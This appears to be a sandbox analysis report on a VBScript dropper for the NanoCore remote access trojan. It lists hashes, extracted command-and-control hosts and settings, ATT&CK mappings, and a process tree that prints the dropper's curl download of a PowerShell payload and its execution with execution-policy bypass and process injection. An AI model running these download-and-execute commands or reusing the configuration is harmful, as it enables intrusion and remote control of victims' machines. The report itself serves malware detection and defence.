nanocore | a858b2b8b4be7cb23e0a7d37a0c08489a6820cb1be5523a7a466014eb994391f

Analysis

max time kernel
208s
max time network
208s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
31-03-2023 16:01

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General

Target

pdf-extensions.vbs
Size

111KB
MD5

3fa09c9c6deff87d8c7d42b352ce52b6
SHA1

c69283b1d90cd7fbec45521149292956ca4c6a1f
SHA256

4b18539613e1c78a58734ef5e60fe4793ca83384930a4172dbe7a008b14fec31
SHA512

90696b88151fe173fd2bf64c049b6f7f30493d4daf033f36b9f67f8c94f8b75047df1e7129a119d93bfeafb35007a6341bc745dfac78f817f070c2f9ca44f40e
SSDEEP

12:O+h3awpefBNRxkj5H6NPnqkc+h3awpeZ9nF6NPnJo:O+9xYZNRxo5wqh+9xYZlym

Score

10^/10

nanocore keylogger spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

wordz54.duckdns.org:8687

rt54.duckdns.org:8687

Mutex

f631006b-8446-49fb-86fd-51078e24df70

Attributes

activate_away_mode
false
backup_connection_host
rt54.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2022-08-11T20:00:42.860060236Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
8687
default_group
secure
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
f631006b-8446-49fb-86fd-51078e24df70
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
wordz54.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1752 set thread context of 4144 1752 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1752 powershell.exe
1752 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1752 powershell.exe

description	pid	process	target process
PID 1752 set thread context of 4144	1752	powershell.exe	RegAsm.exe

pid	process
1752	powershell.exe
1752	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1752	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.execmd.execmd.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 4532 wrote to memory of 3476	4532	WScript.exe	cmd.exe
PID 4532 wrote to memory of 3476	4532	WScript.exe	cmd.exe
PID 3476 wrote to memory of 216	3476	cmd.exe	cmd.exe
PID 3476 wrote to memory of 216	3476	cmd.exe	cmd.exe
PID 216 wrote to memory of 116	216	cmd.exe	curl.exe
PID 216 wrote to memory of 116	216	cmd.exe	curl.exe
PID 4532 wrote to memory of 5084	4532	WScript.exe	cmd.exe
PID 4532 wrote to memory of 5084	4532	WScript.exe	cmd.exe
PID 5084 wrote to memory of 2712	5084	cmd.exe	cmd.exe
PID 5084 wrote to memory of 2712	5084	cmd.exe	cmd.exe
PID 2712 wrote to memory of 1752	2712	cmd.exe	powershell.exe
PID 2712 wrote to memory of 1752	2712	cmd.exe	powershell.exe
PID 1752 wrote to memory of 4144	1752	powershell.exe	RegAsm.exe
PID 1752 wrote to memory of 4144	1752	powershell.exe	RegAsm.exe
PID 1752 wrote to memory of 4144	1752	powershell.exe	RegAsm.exe
PID 1752 wrote to memory of 4144	1752	powershell.exe	RegAsm.exe
PID 1752 wrote to memory of 4144	1752	powershell.exe	RegAsm.exe
PID 1752 wrote to memory of 4144	1752	powershell.exe	RegAsm.exe
PID 1752 wrote to memory of 4144	1752	powershell.exe	RegAsm.exe
PID 1752 wrote to memory of 4144	1752	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pdf-extensions.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4532

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/3DdLPT/coca.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
2⤵
- Suspicious use of WriteProcessMemory
PID:3476

C:\Windows\system32\cmd.exe
cmd.exe /c curl https://transfer.sh/get/3DdLPT/coca.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
3⤵
- Suspicious use of WriteProcessMemory
PID:216

C:\Windows\system32\curl.exe
curl https://transfer.sh/get/3DdLPT/coca.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
4⤵
PID:116

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
2⤵
- Suspicious use of WriteProcessMemory
PID:5084

C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
3⤵
- Suspicious use of WriteProcessMemory
PID:2712

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1752

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
PID:4144

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogymdnpw.0xx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\rr.ps1
Filesize
3.8MB

MD5
91ab47adf548d6c313455352867cab03

SHA1
1803cbc5660ca38a5af4dde9eee28ee0fa268a1f

SHA256
e81475bf470676b14f4fd0016fc3a4f71501acd764d43c7caf70d7758aafa8ce

SHA512
8e1da40ccb3f960c26f32f6ca7d9747977ccc39521cf4426fbc33b266ebb54c27228c54c665df503bbc9a104b3f5939b355e2f5664c08b991f725a04d4b1753a

Download Submit
memory/1752-145-0x000001B426C30000-0x000001B426C52000-memory.dmp

Filesize
136KB

Download
memory/1752-147-0x000001B426C80000-0x000001B426C90000-memory.dmp

Filesize
64KB

Download
memory/1752-149-0x000001B426C80000-0x000001B426C90000-memory.dmp

Filesize
64KB

Download
memory/1752-148-0x000001B426C80000-0x000001B426C90000-memory.dmp

Filesize
64KB

Download
memory/1752-150-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-151-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-153-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-155-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-157-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-159-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-161-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-163-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-165-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-167-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-169-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-171-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-173-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-175-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-177-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-179-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-181-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-183-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-185-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-187-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-189-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-191-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-193-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-195-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-197-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-199-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-201-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-203-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-205-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-207-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-209-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-211-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-213-0x000001B427FD0000-0x000001B428068000-memory.dmp

Filesize
608KB

Download
memory/1752-1434-0x000001B426C80000-0x000001B426C90000-memory.dmp

Filesize
64KB

Download
memory/1752-1435-0x000001B426C80000-0x000001B426C90000-memory.dmp

Filesize
64KB

Download
memory/1752-1436-0x000001B426C80000-0x000001B426C90000-memory.dmp

Filesize
64KB

Download
memory/1752-1437-0x000001B426C20000-0x000001B426C21000-memory.dmp

Filesize
4KB

Download
memory/4144-1441-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/4144-1442-0x0000000005C40000-0x00000000061E4000-memory.dmp

Filesize
5.6MB

Download
memory/4144-1443-0x0000000005770000-0x0000000005802000-memory.dmp

Filesize
584KB

Download
memory/4144-1444-0x00000000058B0000-0x000000000594C000-memory.dmp

Filesize
624KB

Download
memory/4144-1445-0x0000000005AF0000-0x0000000005B00000-memory.dmp

Filesize
64KB

Download
memory/4144-1446-0x0000000005820000-0x000000000582A000-memory.dmp

Filesize
40KB

Download
memory/4144-1447-0x0000000005AF0000-0x0000000005B00000-memory.dmp

Filesize
64KB

Download